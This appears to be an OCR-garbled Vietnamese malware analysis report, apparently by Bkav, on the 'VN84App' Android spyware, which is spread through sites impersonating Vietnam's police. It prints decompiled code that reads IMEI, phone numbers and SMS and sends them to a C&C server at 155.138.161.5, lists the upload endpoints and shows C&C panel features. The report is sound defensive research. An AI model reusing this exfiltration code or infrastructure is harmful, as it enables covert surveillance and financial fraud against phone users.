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Piit van dé

Trong nhitng nim tré lai day, phan mém gian diép dang trod thanh mot méi de doa an
ninh d6i véi ca nhan, doanh nghiép, cac don vi, t6 chirc va cac qudc gia. Théng ké
nam 2019, sb nguoi dung bi tan cdng bai phan mém gian diép da ting 35%, so VGi
nim trude d6. Viét Nam dung ther 9 trén toan cau vé mie do bi anh huéng boi phan
mém gian diép. Spyware xuit hién ngay cang nhiéu di kém véi cac phuong thirc lia
d40 tinh vi, nham danh lira ngudi dung va qua mat cac phan mém diét virus. Muyc dich
ctia cac Spyware nay la theo ddi, danh cip théng tin nham phuc vu ké xau thuc hién
cac hanh vi ltra dao, dac biét hoat dong ltra dao lién quan téi tai chinh.

Pau thang 5/2020, Hé théng giam sat an ninh cia Bkav phat hién mot website c6 dia
chi: http://bocongan113.com. Pay la diéu khong binh thuong vi website cua cac co
quan Nha nuéc bat bugc phai st dung tén mién “.gov.vn” chir khéng thé la “.com”.
Nhan dinh day 12 mot website gia mao co quan coéng an va kiém tra thém, chlng toi
phat hién mot ang dung dugc an trén website cé tén VN84App.apk. Ung dung nay
khi cai dat s& thuc hién cac hanh vi am tham thu thap trai phép thong tin ngudi dung.

Tir ddy, chung t6i c6 cac phan doan ban dau. Dwa vao viéc ké xau dit tén cho ung
dung 12 VN84App.apk thi “VN” c6 thé 1a viét tat cua “Viét Nam” va “84” 1a ma ving
qudc té cua Viét Nam (+84). Nhu vay ¢ 18 hacker dang thuc hién mét chién dich tan
cdng co to chac nham truc tiép vao Viét Nam.

Chlng t6i tién hanh kiém tra nhanh thong tin lién quan dén website
http://bocongani13.com thi khéng nam ngoai dy doan, thong tin ding ky tén mién
khong phai chu quan la B Cong An ma do mot ngudi nudc ngoai co tén “Laike Lee”
dung tén, dang ky ngay 19/04/2020.
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= Domain Profile

(}'{é; strant

Registrant Org

Registrar

Registrar Status

Dates

Name Servers

IP Address

Whois Record for BocongAn113.com

B

Registrant Country tw

/_.-4—'—'"_'—_‘_ —
Tech Contact Laike Lee

Name.com, Inc.
IANA ID: 625

URL: http
Whois Server

N.name.com
whois.name.com
abuse@name.com

(p) 17203101849

clientTransferProhibited

52 days old

Created on 2020-04-19
Expires on 2021-04-19

Updated on 2020-04-19

NS1BDG.NAME.COM (has 1,095,462 domains)
NS2CVX.NAME.COM (has 1,095,462 domains)
NS3GXY.NAME.COM (has 1,095,462 domains)

NS4DFH.NAME.COM (has 1,095,462 domains)
e ——

280 Summer Street,
Boston, MA, 02210, tw

500ccbb6e@opayq.com
(p) 88696157432(

27.102.66.105 - 16 other sites hosted on this server

Thong tin dang ky tén mién bocongan113.com

Thuce hién kiém tra theo domain http://bocongan113.com, ching toi phat hién thém
mot s6 tén mién tuong tu nhau nhu sau:

02360236.com

8400113.com

84027113.com

8425113.com

bocongan113vn.com

pcll3vn.com

vn11384.com

conganhanoivn.com

Céc tén mién trén déu c6 diém chung la thong tin lién quan dén Viét Nam nhu: M4
vung 84, hay 113 la s6 cua Cong an Viét Nam hoac cac cum tir “bocongan”,
“congan”... Khi truy cap cac website nay, cac ndi dung trén site déu lién quan dén Bo

Cong an Viét Nam.
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Kiém tra thém, chiing t6i thdy tng dung VN84App.apk ciing duoc nhiéu phan mém

diét virus phat hién la malware:

Avira (no cloud) (1) ANDROID/Spy Agsnt rurt

DriVeb (1) Android Banker.388.origin

F-Secure (D Malware ANDROID/Spy Agent riurt

KTGW O] are ( 0056686b1 )
McAfee (D) ArtemisI3C84C909360F
Microsoft () Trojan Script\Vacatac. Clml
Symantec Q,, Trojan.Gen.MBT

Tencent @ Ap

vacy.emailMaliciousupload

ZoneAlarm by Check Point

DETECTION DETAILS RELATIONS BEHAVIOR
AegisLab Q,, Trojan.Android0S. Malban.Clc
Alibaba i_\/‘ TrojanSpy:Android/Banker c3ab65a6

\'_\/ HEUR Trojan-Banker Android0S Malban. b

COMMUNITY

AhnLab-V3

Avast-Mobile

Cyren

ESET-NOD32

lkarus

Kaspersky

McAfee-GW-Edition

Qihoo-360

Symantec Mobile Insight

Trustlook

Ad-Aware

Q,, Trojan/Android. SpyAgent. 944945

i_‘/‘ APK:RepSandbox [Trj]

(1) Trojan CFGR-5

Q/ A Variant Of Android/Spy.Agent.BEZ

(D Trojan-Spy.AndroidOS. BlackLoan

(1) HEUR Trojan-Banker Android 05 Malban.b
(D) Artemis!Trojan

\/_\/ Trojan Android Gen

(D) AppRisk-Generisk

(1) Android. Mahwvare General (score'9
(1) Android.Malware.General (score:9

(%) Undstscted

Thong tin nhdn dién vé file cai dat VN84App

Chung thu s6 code signing sir dung dé ky VN84App ciing 1a mot ching thu sb gia,
khdng phai caa nha cung cip CA hop phép nao.

Certificate Subject

Distinguished Name
Commaon Name
Organization
Organizational Unit
Country Code

State

Locality

Certificate Issuer

Distinguished Name
Common Name
Organization
Organizational Unit
Country Code

State

Lacality

C:1, CN:1, L1, 01, 8T, OUt
1

1
1
1

—

C:1, CN:1, L1, 01, ST, OUt

1
1
1
1
1
1

Théng tin chitng thi s6 gid sir dung ky ing dung

C6 thé thay, cac nhan dinh ban dau dang dan dugc khang dinh: Day la mot chién
dich kra dao c6 t6 chuc thdng qua viéc mao danh co quan Cong an Viét Nam. Cac
chuyén gia cua Bkav quyét dinh thuc hién diéu tra phan tich “VN84app™.
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1. Cac hwéong phan tich

Nhu di noi trén, tir két qua kiém tra nhanh website gia mao va VN84App, ching
t6i da c6 thém thong tin vé mot sé domain gia mao B Cong an dugc dang ky dudi
tén nguoi nudc ngodi. Ung dung “VNB84ApPP” ciing cb thé tai truc tiép tir cac
website trén. Vi vay, ching tdi quyét dinh tién hanh phan tich song song theo 2
huong:

- Huéng thi nhat: Thuc hién dich nguoc ma nguon cua VN84App dé tim hiéu
cac tinh ning cach thirc hoat dong caa App, théng tin may chu diéu khién (C&C
Server) ... va thdng tin vé t6 chirc dimg dang sau @ng dung nay.

- Huwoéng thiz hai: Kiém tra cac website ¢ trén xem ¢ ton tai 15 hong, tir d6 co
thé khai thac muc sau hon.

2. Phan tich wng dung VN84App
2.1 Phan tich khi cai dat VN84App

Chdng tdi tién hanh tai, cai dat VN84App. Sau khi cai dit xong, “icon” ctia tng dung
c6 biéu twong gidng voi hinh huy hiéu cua nganh Céng an. Piéu nay hong tao ra su
“tin tudng” cho nguoi dung khi cai dat, yén tdm 1a minh dang st dung tng dung cua
Bo Cong an.

vn84app

Trong qua trinh cai dit, tng dung lién tuc yéu cau cac quyén duoc gui va xem tin
nhin SMS, quyén goi dién va quan ly cudc goi trén dién thoai cia ngudi dung. Nguy
hiém hon, n6 con yéu cau quyén dat VN84App lam tng dung mic dinh caa dién thoai.
Cac yéu cau nay rat dang ngd. V&i mot ung dung cé tinh ning khong lién quan dén
nhin tin goi dién thi viéc ching co thé doc toan bo tin nhan gui dén va di cua nan
nhan hoic ciing c6 thé chu dong goi dién di hay quan ly cudc goi (thém sé dién thoai
méi, x6a sé dién thoai, biét duoc sb dién thoai goi dén va sb dién thoai goi di) 1a diéu
can canh giac cao do. CUng vai quyén truy cap micro dé ghi am thong tin cudc goi,
Android xép hang céac quyén nay & mitc do nguy hiém.
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n Cho phép Vn84app
GUi va xem tin nhan
SMS?

TUCHO! CHO PHEP

\_ Cho phép Vn84app
Thuc hién va quan ly
cudc goi dién thoai?

TUCHOI CHO PHEP

Thay d6i irng dung SMS?

S(r dung Vn84app thay vi Btalk lam
Ung dung SMS cia ban?

KHONG co

Cdc quyén Vn84App yéu cau truy cdp

Sau khi cai dat xong, ung dung hién thi giao dién cua website
http://bocongan113.com. Nhan dinh nhanh sau khi cai dat VN84App, ching tdi thay
ting dung khong duoc hacker tao tinh nang ma chi 1a “mét cai vo” hién thi noi dung
website http://bocongan113.com, song lai yéu cau rat nhiéu quyén nhay cam. C6 thé
thay, ddy mot ang dung theo ddi va thu thap thong tin ngudi dung.

2.2. Phan tich file VN84App

Déi véi file nhan duoc, ching toi nhan dinh day 13 mot tng dung trén Android. C6 2
phuong phap phan tich tng dung chinh la:

- Phan tich tinh: Code analysis va debug
- Phén tich dong: Phan tich va diéu tra hanh vi cia ma doc (malware forensics)

Trong bai nghién ctru nay, ki thuat phan tich tinh sé sur dung cac ky thuat dich nguoc
dé trich xuat thdng tin cua ma nguon.

Do trong qua trinh cai dit tng dung, tng dung yéu cau rat nhiéu quyén khdng can
thiét, khi ngat két ndi mang thi khdng c6 noi dung hién thi. Nhu vay, kha ning cao
day 1a mot ma doc. Ching t6i dira vao d6 dua ra mot s muc tiéu khi thuc hién phan
tich:

- Tap trung vao quyén ma tng dung yéu cau
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- Tim hiéu théng tin hién thi trén ¢tng dung

- Kiém tra chtrc ning tng véi cac quyén ma tng dung doi hoi khi cai dit
- Tim hiéu xem, ang dung c6 gui di cac dit liéu da thu thap duoc va dang két ndi

Vv4i server nao

- Tim hiéu xem, c6 ki thuét phat trién ma doc nao méi dugc ap dung khong

2] vn84dapp.apk
= Source code
- f3 android. support.vd
--EE,l androidx
E}EE com
& f3 android.volley
= i cofee.bird
w-@ App
i@ bird
w-@ BuildConfig
--GI MainActivity
--GI MainView

- & MyService

@@ R

i@ ReceivePhone
w-(® RespondService
5@ SmsListener

=- (2 Resources

-- =) META-INF

&) res

AndroidManifest.xml

g classes.dex

@-[2 resources.arsc
- SO APK signature

Théng tin ma nguén cuia 1ng dung khi dich nguwoc

Két qua dich nguoc file apk cho thdy cac module dwgc bé tri kha r rang. Ngoai
cac “package” mic dinh cta Android thi cac chirc ning chinh déu dugc dé trong
“package” com.cofee.bird. Trong thu muc com.cofee.bird, chiing tdi nhan thay c6
I6p quan Iy cau hinh ung dung (BuildConfig), I6p quan Iy hoat dong
(MainActivity), 16p hién thi (MainView), I6p tinh ning ReceivePhone c6 vé nhu
dé Iay thdng tin thiét bi, 16p SMSListener lay danh sach tin nhan dén, va mot vai

16p giao tiép vai server (MyService, RespondService).
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2.2.1. Cac quyén ma ing dung yéu cau

<uses-permission android:name="android.permission.RECEIVE_BOOT _COMPLETED"/>
<uses-permission android:name="android.permissicon.READ_PHONE_STATE"/:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.SEND SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SM5"/>
<uses-permission android:name="android.permission.WRITE_SM5"/>
<uses-permission android:name="android.permissicn.RECE MMS™ S >
<uses-permission android:name="android.permission.READ CALL LOG"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permiszsion.ACCESS_FINE_LOCATION"/>
<{uses-permission android:name="android.permission.ACCESS WIFI_STATE"/:
<{uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permissicn.READ _CONTACTS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="READ PRIVILEGED PHONE_STATE"/>
{uses-permission android:name="android.permission.MODIFY_PHONE_STATE™/:

Y&u cau vé cac quyén cua app trong code

Tén quyeén Y nghia
RECEIVE_BOOT_COMPLETED Quyén nay dugc cap tu dong khi cai dat ang
dung. Quyén nay cho phép ung dung nhan
gia tri

Intent. ACTION_BOOT_COMPLETED
dugc phét sau khi khoi dong hé théng.

READ_PHONE_STATE Cho phép doc trang thai dién thoai, bao
gom: s dién thoai, théng tin mang di dong,
trang thai cua cudc goi

INTERNET Ung dung dung dé két ndi ra ngoai internet
SEND_SMS Cho phép ting dung gui tin nhan sms
RECEIVE_SMS Cho phép ting dung nhan tin nhan sms
READ_SMS Cho phép ting dung doc tin nhan sms
WRITE_SMS Cho phép ting dung c6 thé xda tin nhan
RECEIVE_MMS Cho phép tng dung nhan tin nhan mms
READ_CALL_LOG Cho phép tng dung doc nhat ky cudc goi
ACCESS_COARSE_LOCATION Cho phép ung dung truy cap vi tri gan ding
ACCESS_FINE_LOCATION Cho phép tng dung truy cap vi tri chinh xac
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ACCESS_WIFI_STATE Cho phép ng dung truy cap théng tin wifi

WRITE_CONTACTS Cho phép tng dung ghi vao dir liéu danh ba

READ_CONTACTS Cho phép tng dung doc di liéu danh ba

CALL_PHONE Cho phép ung dung bat dau cudc goi dién
thoal

READ_PRIVILEGED_PHONE_STATE | Cho phép doc thong tin dién thoai:
IMEI/MEID, IMSI, SIM va sé serial

MODIFY_PHONE_STATE Cho phép stra doi trang thai dién thoai: khoi
dong lai, bat tit man hinh, ... Khoéng bao
gom thuc hién cudc goi

2.2.2. Viéc hién thij théng tin trén @ng dung

App sé& thuc hién lay dit liéu hién thi tir url trong com.cofee.bird
WebView webView = new WebWiew(this.comtext);
this.webview = webVWiew;

webView. loadUrl(this.web_url);

rivate 5tring web _url = bird.clientURL;
ate WebView webview;

public static String clientURL = "http:}fbucnngan113.cumf“;

Nhu vay, két qua phan tich ma ngudn d chi ra noi dung hién thi trén App giéng
véi website gia mao http://bocongan113.com. Piéu nay khang dinh phan doan
Vn84App c¢6 vo boc hién thi ndi dung website la dang.

2.2.3. Quyeén truy cap dién thoai

Thuc té khi phan tich ma nguon chiang t6i thdy @ng dung thuc hién hai quyén
sau:

- Quyén truy cap trang thai dién thoai cho phép lay duogc céac thong tin: s6
dién thoai, thdng tin mang di dong, trang thai cta cudc goi.

int checkSelfPe ion = ActivityCompat.checkSelfPermission(this, “"android.permission.READ PHONE_STATE");

is, new String[]{"android.permission.READ_PHOME_STATE™}, bird.5TA

- Quyén doc tin nhan:

10
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checkSelfPermission = Activi SelfPermission(th "android.permission.READ_SMS™};

+ checkSelfPermission);

if (checkSelfPermission Yy {
ot .req ermissions(this, new String[]{"android.permission.READ SMS"}, bird.

2.2.4. Cac thong tin thu thap va day 1én server diéu khién

Két qua: (rng dung c6 thuc hién Iy théng tin va giri 1én server

|

is);
getSharedPreferences( "myPrefs"
ing(R.string.saved_high_score_key)}, bi
.server), bird.URL
d . PhoneModel bird
.contentResolver
requestQueue

public static String getPhoneNo(Context context) {
String linelNumber;
Log.i(TAG, "getPhoneNo™);
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") I= @
(linelNumber = ((TelephonyManager) context.getSystemService("phone™)).getLinelNumber()
return ™";

return linelNumber;

ic String getIMEI(Context context) {
] ompat . checkSelfPermission(context, "android.permission.READ PHONE STATE") != @) {

TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone™);
if (Bui .SDK_INT < 26) {

return telephonyManager.getDeviceld();
s

if (Build S
return getU

return telephonyManager.getImei();

L4y thng tin model may:

public static String g
String str = Build
String str2 = Build
if (str2.startsWith(str)) {

¥

return capitalize(str) + "-" + str2;

return capitalize(str2);

L4y noi dung tin nhan trong hop thu dén:

11
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public static void getSMS() {
Cursor query;
Log.i(TAG, "getSMS");
if (ActivityCompat.checkSelfPermission(mContext, "android.permission.READ SMS™")
(query = contentResolver.query(Uri.parse(INBOX), null, null, null, “date ASC™)) != null) {
int columnIndex = query.getColumnIndex(" id"); a

int columnIndex2
int columnIndex3
int columnIndex4

query.getColumnIndex("address™);
query.getColumnIndex("person™);
query.getColumnIndex( "body™);
int columnIndex5 query.getColumnIndex("date™);
int columnIndex6 = query.getColumnIndex("type™);
int count = query.getCount();

L4y noi dung cua cac tin nhin bi 151, tin nhan nhap:

i
L

olver cnntentRHSHIUHrz = contentResolver;
nntentREJuluerz 1= null) {
query = cnntentResnluerE.qLEPr ri.parse(FAI |
:nu[]} null, (String) null, (String[]) null, (String) null);
if {guery != null) {
int culumn]ndex =
int columnIndex2
int columnIndex3
int columnIndexd
int columnIndexs quer
int columnIndexé quer
int count = guery.getl

quer
quer
quer

Két qua kiém tra cho thay ung dung c6 thu thap thong tin: Sé dién thoai, IMEI, tin
nhan dén, di va tin nhan 15i va tin nhap dé guri 1én Server.

Thong tin server nhan théng tin thu thap http://155.138.161.5

public static String serverURL = "http://155.138.161.5/";

Céc chirc nang thyc hién giri 1én Server diéu khién:

URLAgents API guri thong tin dién thoai server
URLtestjson Thong tin tin nhan dén
URLDelMsg API gtri c4c tin nhan da xda 1én server

URLSendMsg API giri tin nhin
UrlUpdate APP API dé update ing dung

g URLAgents = (s
g URLtestjson =
g UrlDelMsg = (
g UrlSendMsg =
g UrlUpdateAPP

serverURL + "app/input.php™};
(serverURL + "app/input2.php™);
"app/inputd.php™);
serverURL + "app/inputs.php™):
{serverURL + "app/updatefpp.php™}

erverURL +

s

Phan tich ma ngudn cho thay, tng dung Vn84App thuc hién hanh vi theo dai tin
nhan SMS cua ngudi dung bang cach yéu cau quyén trg thanh (ng dung tin nhan
mac dinh trén dién thoai. Trong khi danh cip tin nhan dén va guri Ién server, nd
con tao ra mot tin nhin gia mao gidng hét tin nhin gbc dé che giau hanh vi gian
diép cua minh.

12


http://155.138.161.5/

Bkav Spyware “Vn84App”

Ngoai ra, con mét sé quyén ciing duoc (ng dung yéu cau nhu lich sir cudc goi,
danh ba, goi dién da c6 san ham nhung hién tai chua c0 code xur ly.

2.2.5. Ki thuat phat trién ma déc

Qua qua trinh nghién ciru va phan tich, chiing toi chua phat hién ki thuat phat trién
ma doc méi nao dugc ap dung.

Ung dung chi duoc viét nhu mot “App” Android thong thuong song lai 1dy hinh
anh cua B Cong an dé st dung véi muc dich ca nhén.

2.3. Phan tich Server diéu khién (C&C Server)
Qua phan tich tng dung, chung téi phéat hién thong tin thu thap duoc VN84App
giri vé C&C Server (may chu diéu khién): 155.138.161.5
Qua kiém tra thi server dang mé 2 cong dich vy cong 22 va 80.

Truy cap dich vu qua cong 80: http://155.138.161.5 hién thi giao dién ding nhap
véi giao dién chir Trung Quac.

A 1551381615 x  +

& > C (@ Khéngbdo mat | 155.138.161.5 e

T )

R Google Chiome 3255
L
Zh ]

Sau khi truy cap vao bén trong hé théng quan tri, giao dién chinh cua trang quan
tri duoc bd cuc thanh 2 phan nhu hinh duéi day.Phan trén c6 tac dung: thém,
stra, X6a thong tin quan tri vién. Phan dudi duoc st dung cho cac thao tac quan
tri dién thoai da duoc cai VN84App.
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Chuing t6i tiép tuc thuc nghiém cac tinh ning ma website nay cung cap.

HORE NPPEE
FEEE MRERTI=
R ET

APFEiE
ihesIE
E MEMO IMH wEEEER
HHANIE
v s Y| oumE i
W52 G MSsun T e N
o TR TE AT
(GPS| [H@A| [Fwwnk
L
| wsainaE |
5 | e
m [ semsung I )0y —
A
5
rEIA | | s |

mai thiét bi bi theo ddi c6 thé thuc hién cac tinh ning sau:

Nhan ban tin:

ol

Vol

(ChEER] [CREmA
LiBERIES
2020-05.71 | [PEEEMASIE | (i
o 3547 | +3/OGNENNM | Samsung-SM-A107F 1654347
A
BARN  EERE z
2020/05/11 (QC)VinaPhone kinh tang QK 300MB DATA sau 5ngayGHTC,MIEN PHI 100% 3G/4G (2| 2020- -
" 102642 9636 voi www.ilucky.vn, Soan T gui 9636 (0d) de nhan thuong,cuoc ngay 3000d.TCQC>TC | &i| 05-11 WIJF% |
i qui 9636 B [20:26:41
, . 2| 2020-
= 2020/05/11 1505 [QC] 84919061227 Soan A gui 1595 nhan ngay 20.000d vao tai khoan sau 14 ngay DK 3| 0511 W|
| 114641 va GHTC goi ATTP. TCQC soan TC gui 1595. LH18001195(0d). Cuoc 2000d/ngay @ 12:46:40 L
VietinBank:11/05/2020 2| 2020-
@ 20121952_53/711 VietinBank | 11:26]TK: |G D: I O |NO:C T ;| 0s-11 || Wik
i 1013211241612 (N .yen tien; tai iPay | 12:26:36
E| 2020-
5 |22 o #| o511 |[Hikt]
:25¢ B |12:25:13
2020/05/11 VietinBank:11/05/2020 E| 2020-
5| 10010 | VietinBank 10:59(TK: | — O+ 4 I O SO C S\ O|ND-CT H| 05-11 | kx|
G DEN:013210186115 KH NGUYE I C ('Y EN TIEN; tai Napas % | 12:00:09
- 2020/05/11 P SD TK (i, 0 00, 000VND luc 11-05-2020 10:41:21. SD ug S[S)-Zf; I
T | 10:41:26 : Ref 183689.110520.104056.KH NGU'iisnissiiiingn 'Y £\ CHUYEN TIEN 3? 11:41:25 -
: : E| 2020-
. 2020/05/11 0256 (QC) Quy Khach (SN oc huong Mien phi 100% 3G/4G toc do cao. De nhan | os-11 |[HiE]
~ | 10:28:55 soan: OK gui 9256 (Cd). Truy cap dich vu mobiplus.saukm 4k/ngay. TCQC TC gui 9256 ﬁ 112853 I—
2020/05/11 VietinBank:11/05/2020 E| 2020-
9 pagrog | VietinBank [09:51TK: G M—— 5128, 769VND|ND:CT 3| 05-11 |[Hikk |
2N DI:013209222843 Nyl chuyen tien; tai iPay B [10:51:26
Bkav Corp.
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- Tin nhin da gui:

o 3547

+249

Samsung-SM-A107F

2020-05-21
16:43:42

Bl

1N

(WEmERE | | Bk

FEHEF &I
GPS| |l
i 41 f B

=
o
Imn
=
R

Sau khi sir dung tinh ning nay ta xem dugc cac trudng thong tin lién quan dén
SMS bao gom: ngay, gio gui tin nhan, sé dién thoai nhan di, ndi dung tin nhan,
trang thai tin nhan trén thiét bi (da x6a/chua bi x6a), ngay gid tin nhan duoc
giri. O tinh nang nay con cho phép x6a tin nhan tir xa.

R s &)
Lt 1= Hp
mEEn
APPEE
[zE ]
MR | EEET
(] BiREW mERE ful] 1 ] EaOom "
AH0E1F 10e03:50 Al R #n + EE AA-05-17 1% 2517 Biii
[ T
123F7-H
- Gui danh sach SMS
EEERE T
RS
20200521 | HERMGIE] [k
O 3547 | 4 Samsung-SM-AL07F 1342 T Ik
4 GPS g A
WEasIE | [

Tinh ning nay cho phép thuc giri tin nhan tir thiét bi dén mot sé dién thoai voi

noi dung tuy vy.

APPERE

WAERIIR

BIREFNE

PUENTEES

]

Bkav Corp.
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APPER
A
BRI | | BEERSIE
ik

Chuyén tiép danh sach SMS:

3547

+ 54 G

Samsung-SM-A107F

2020-05-21
16:43:42

(SR [CHEma
[(AEfaIE | ek
FERlRTE &

HwaisE&

=

i

Pay 1a tinh ning dung dé chuyén danh sach tin nhan tir thiét bi dén s dién
thoai khac duoc thém vao.

APPERE
HEmmIR
(7l (=
SR | |
IEEIEERE
- Nhat ky cudc goi:
EEEEIRE T
20700521 | [MEEASE] Bk
[m] 35472 NS | -3/ Samsung-SM-A107F 16:4342
g GPS| [Hi#iA
EEaslE

Tinh ning nay cho phép xem céc trudng thong tin lién quan dén nhat ky cuoc
goi bao gom: ma IMEI, loai cudc goi (cudc goi dén, di, nhd), sé dién thoai cua
loai cudc goi, ngay/gio thuc hién, thoi lugng cudc goi.

Bkav Corp.

16




Bkav

Spyware “Vn84App”

wuEn e -
(WP [EwEA
IMEX aERY L 3 B_IreEm FRENDY (W)
357648108145744 ®A Com— \ 2020/04/21 11:39:14 2%

T 357648108145744 T B T ee— | 2020/04/20135049 | 1658
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357648108145744 @ 093 3 e ; 2020/04/20 100226 ow
357648108145744 ET 093 uatae | 2020/04/20 09:52:47 0%
357648108145744 BA 09 e 2020/04/19 15:33:24 1448
357648108145744 wA -85 eE— 2020/04/19 13:16:00 16041
357648108145744 EA 09— 2020/04/19 12:04:33 368
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357648108145744 m= | co— 2020/04/17 14:15:33 28
357648108145744 BA +83) cumm— 2020/04/17 12:1808 4368
357648108145744 BA +8812 AR 2020/04/17 11:14:49 2528
357648108145744 #3 332 iiiinkis 2020/04/17 111403 o®

- Mo tat am thanh va khéa man hinh:
Bl e
2020-05-21 | [MEARIE] [@iFaik]
m] 3547 | 3V Samsung-SM-A1Q7F 164349
) BaA

Tinh nang nay cho phép thuc hién bat me &m thanh tir xa hoac bat tat man

7
M

nh.

—_—

358465090288054

APPER

BB EMAAR

3547 2

+8400

Samsung-SM-A107F

B
(WEmAsIR] (8]
ESLIN

2020-05-21
16:43:42

Pay la tinh ning cho phép xem vi tri thiét bi thdng qua GPS, thong tin

PS

duoc thu thap thong qua VN84App giri vé website.

Bkav Corp.
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= MEMO y LA ]

CAER LS RS ER

HREANE
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- Nguoi lién hé:

(ClRR [CREmA

2020-05-21 | PHERmMIIE] [Ewack]

16:43:42 P R

@) 35472 | 5/ G Samsung-SM-A107F

==

WEEIE | | MR

Tinh ning nay cho phép thém sé dién thoai vao danh ba dién thoai.

APPEIE
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A
- Danh sach cudc goi:
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16:43:42 Pl 675
4 GPs| [\ ]

AR | | MER

Tinh ning nay cho phép diéu khién thiét bi thuc hién cudc goi tir thiét bi dén
mot s6 dién thoai nhap trén website.

BEEIR

m7l% | | EHEE

- X6a bo thong tin da thu thap cia mot thiét bi:

EEEEINE SR
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3. Phan tich cac website

Chung t6i da thyc hién phan tich cic website dudi day:

Tén Domain

Ngay dang ky

Nguwoi dang ky

02360236.com

2020-04-21

Laike Lee

8400113.com

2020-04-01

Nicolas Chu

84027113.com

2020-03-26

Nicolas Chu

8425113.com

2020-04-06

Nicolas Chu

boconganll3vn.com

2020-04-03

Nicolas Chu

pcll3vn.com

2020-04-02

Nicolas Chu

vn11384.com

2020-03-20

Nicolas Chu

conganhanoivn.com

2020-05-25

Laike Lee

Cac noi dung tim dugc cho biét nhiéu thdng tin vé may chu, nén tang sir dung. Tuy
nhién, chua phat hién I8 hong nghiém trong nao trén website nén khdng tién hanh
diéu tra sau hon theo huéng nay.

< C @ Knhéngbdo mat | vnpcli3.com,

PHP Probe

PHP information
Run PHP

PHP Safe Mode
Upload Max Filesize

Max Execution Time
PHP Doc Root

Enable DI

Display Errors

Magic Quotes Gpc

"<% %3>"ASP Tags
Ignore Repeated Source
Disabling Magic Quotes
Allow URL fopen
Cookie

BCMath

PDF

Vmailmgr

SMTP

Enable Functions

PHPINFO &
CGI-FCGI

x

50M

30 Second

X X & X X X X & X X

v

Click here for details &

Server Domain/IP  gold4na - vnpc113.com(27.102.66.105) Your IP address is: 27.102.66.105

Server ID Windows NT PG620-28 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
Server OS Windows Kernel version: NT Web Server Microsoft-11S/7.5
Server Language Vi-VN,vi;q=0.9,fr-FR;q=0.8,fr.q=0.7 en-US;q=0.6,en;,q=0.5 Server Port 1902

Server Hostname PG620-28 Root Path D:/web/gold4na
Server Admin Prober Path D:/web/gold4na/p.php

t SPL

PHP Version

Memaory Limit

POST Max Size

Floating point data of significant digits
Socket TimeOut

User Dir

Set Include Path
Register Globals
"<?..2="Short Open Tag
Ignore Repeated Errors
Report Memory leaks
Magic Quotes Runtime
Register Argc Argv
PSpell Check

PCRE

SNMP

Curl

SMTP Address

ml dom PDO bz
d  intl imap lda

5.4.45
128M
50M

14

60 Second
x

X ¢ X X X ¢ X & %X %

v

localhost

Théng tin vé website gid mao
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4. C&c phat hig¢n chi tiét
4.1 Chién dich tan cong co6 thé méi dwec thiét 1ap ¢ giai doan diu

Qua trinh phan tich VN84App, ching t6i nhan thiy nhiéu chirc ning cua tng dung
van con bo ngo du da viét thanh ham. Céc chuyén gia nhan dinh, ddy 1a céc tinh
ning c6 thé s& duoc hacker sir dung trong cac giai doan tiép theo. Diéu nay sé cuc
ky nguy hiém khi ma doc c6 thé tu dong lay lan qua cac thiét bj Android ma khéng
can lra ngudi dung.

Whois Record for BocongAn113.com

= Domain Profile

Registrant Laike Lee
Registrant Org ko
Registrant Country tw

Registrar Name.com, Inc.
IANA ID: 625
URL: httpdwww.name.com
Whois Server: whois.name.com
abuse@name.com

(p) 17203101849

Registrar Status clientTransferProhibited

Dates (,.--""_ 54 days old
“~.__Created on 2020-04-19
Expires on 2021-04-19
Updated on 2020-04-19

Domain mai duwoc dang ky tur thang 4/2020

)

Vi nhiéu tinh ning con dang do, rat ¢d thé hacker méi chi thiét 1ap chién dich tan
cong ¢ giai doan dau va sé dya vao ma doc co ban nay lam nén tang, phat trién
nhitng mi doc tinh vi hon nham dé dang qua mit ngudi ding.

4.2 Chién dich tan cong c6 to chirc, nham téi nhiéu quéc gia

Két qua phan tich chi ra VN84App c6 mot ma nguon kha tinh vi. Dich nguoc file
apk cho thay cach bd tri m& nguén caa tng dung ching to hacker 1a nhitng ké “c6
nghé”, néu khdng mudn néi 1a da dat mot trinh d6 nhat dinh, hoan toan khong phai
tay mo. Trong qué trinh dich nguoc, cac chuyén gia chwa phat hién bat ki ki thuat
lam réi nao. Piéu ndy ching to nhom hacker dung sau chién dich nay da thiét lap
cac cong cu va té chie chién dich rat chit chg, ¢ chu dich.
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Hé thong gidn diép nham téi nhiéu quac gia

Pén day c6 thé khang dinh VN84App 1a ung dung dugc dit tén dé st dung tai
Viét Nam. Tin nhan cta nan nhan duoc luu trit trén sever cia hacker co nhiéu noi
dung Tiéng Viét. Thém vao d6, nhu phan doan ban dau tén Vn84App ¢6 “VN” va
84 1a m vuing cua Viét Nam (+84). Két qua phan tich diéu tra cho thay, day 1a mot
chién dich tan cong I6n, ¢6 to chirc nhdam vao Viét Nam. Chuang t6i ciing thu thap
dugc cac bang ching vé viéc tin cong téi nhiéu qudc gia khac trong do c6
Malaysia.

4.3 Hacker tap trung phét trién chirc niing lién quan dén thu thap tin nhan

Trong tién trinh cai dat, VN84App yéu cau ngudi dung dat App nay 1am tng dung
nhan tin mac dinh, muc dich dé tu dong gui tin nhan tir may nan nhan. VN84App
s& gui théng tin vé server 5 gidy mot lan, khop véi quyén ma tng dung yéu cau
khi cai dat.

Dic biét, néu duoc cip quyén dat VN84App lam tng dung nhin tin mac dinh thi
s& ¢6 ca viéc nhan tin nhan dén va hién thi trong hop thu dén dé danh Lra nguoi
dung.

4.4 Cong cu sir dung trong chién dich tin cong c6 giao dién tiéng Trung

Trong qué trinh phan tich VN84App, chdng tdi phat hién thong tin thu thap duoc
tir tng dung s& duoc gui vé may chu diéu khién. May chu diéu khién duoc hacker

21



Bkav Spyware “Vn84App”

dit tai Dai Loan, dong thoi giao dién dich vu web trén may chu diéu khién Ia tiéng
Trung.

@ Khdng bio mat | 155.138.161.5
ORAE.
8.

g

Mdy chu diéu khién cua hacker cé giao dién tiéng Trung
